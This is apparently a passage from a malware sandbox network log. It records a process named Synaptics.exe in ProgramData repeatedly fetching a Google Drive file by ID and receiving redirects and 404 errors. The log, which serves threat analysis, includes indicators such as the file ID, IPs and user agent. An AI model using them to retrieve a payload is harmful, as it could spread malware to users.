2025-01-02 19:28:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zygEOmeNgfJuFWBWaK_75w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49797	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-juquiHvLF0AvgM87g6YJjw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49796	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-WvJAjJVSnmmRMP29Lmn26Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49795	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:52 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4KJFiglguqkMGIEryVKLHFUgJ4hFALmh_HggJ5tjtOrYHTZmlaNMJxzxW8xayu0VW6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:52 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KbHBHt76ErsfzD2VjweSjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:52 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:52 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 50 67 2d 32 6b 6a 71 47 78 6c 6d 6d 56 79 75 5a 2d 52 78 36 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="JPg-2kjqGxlmmVyuZ-Rx6w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:52 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49798	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:51 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:52 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6BGX44tbcQX5mNsOuorCDFlvfJweSN4AWdCeOkKlBF7Pw9YGo3O3FEugFdb9ktBL_0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:52 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wTGTtTGOg1pqd1QFcsiEgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:52 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:52 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 69 2d 55 68 75 5a 63 2d 6c 6b 38 36 2d 51 46 32 6a 5f 67 46 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Ni-UhuZc-lk86-QF2j_gFA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:52 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49805	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:52 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vvww7tLWzgUHvprCmb6Ung' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49806	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:52 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:53 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:53 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ib15c5zE44CTJj4vs1qodg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49807	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:52 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:53 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Y5qfRvFEVEpDNqVkEEalEaJfHBWgLocvi1Hw0eMljV8sa-woEE2gUwDsaic2Na0x-017kXPE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:53 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-dIssyTTKf0R26Wf_M4lPAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:53 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:53 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 4e 5f 31 64 52 69 47 78 30 47 37 41 59 49 78 45 32 68 58 41 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="0N_1dRiGx0G7AYIxE2hXAg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:53 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49812	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:53 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7fihzvprkEarBUOjHrPty6BHh1u4p0RZkqzW6MubeEwPcelLlk5O14SNZteJuJaEwou26As8k Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:53 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tU6HTSZdCDon1rz2ihppvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:53 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:53 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 6f 51 6e 78 34 67 48 59 65 4d 64 38 4e 4c 30 67 64 69 56 69 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="xoQnx4gHYeMd8NL0gdiViQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 